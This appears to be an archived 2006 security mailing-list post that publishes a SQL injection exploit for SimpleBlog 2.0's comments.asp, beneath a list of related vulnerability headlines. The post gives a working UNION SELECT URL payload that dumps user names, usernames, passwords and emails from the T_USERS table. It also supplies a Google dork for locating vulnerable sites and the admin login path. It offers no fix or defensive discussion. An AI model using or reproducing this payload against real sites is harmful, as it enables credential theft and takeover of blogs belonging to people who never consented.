Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

faille include in "VeriTECH"  isreal

BlackBoard Multiple Vulnerabilities (XSS)

PHProjekt v0.6.1  Remote File Inclusion Vulnerability (2)

PHlyMail Lite [PM_[path][lib]=] Remote File Include Vulnerability

From:	Chironex Fleckeri <chironex.fleckerix_(at)_gmail.com>
Date:	23.08.2006
Subject:	SimpleBlog 2.0 <= "comments.asp" SQL Injection Exploit

################################################################################

##                                                                            ##

##  SimpleBlog 2.0 <= "comments.asp" SQL Injection Exploit                    ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##  Credit by        |  Chironex Fleckeri                                     ##

##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##

##  Googledork       |  Powered By SimpleBlog 2.0                             ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##                                                                            ##
################################################################################


#################################################################################
###################################################################
#http://www.target.com/path/comments.asp?id=-1 UNION SELECT ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null FROM T_USERS WHERE id=1 #
#################################################################################
###################################################################

###########################################################
#Admin Panel : http://www.target.com/path/admin/login.asp #
###########################################################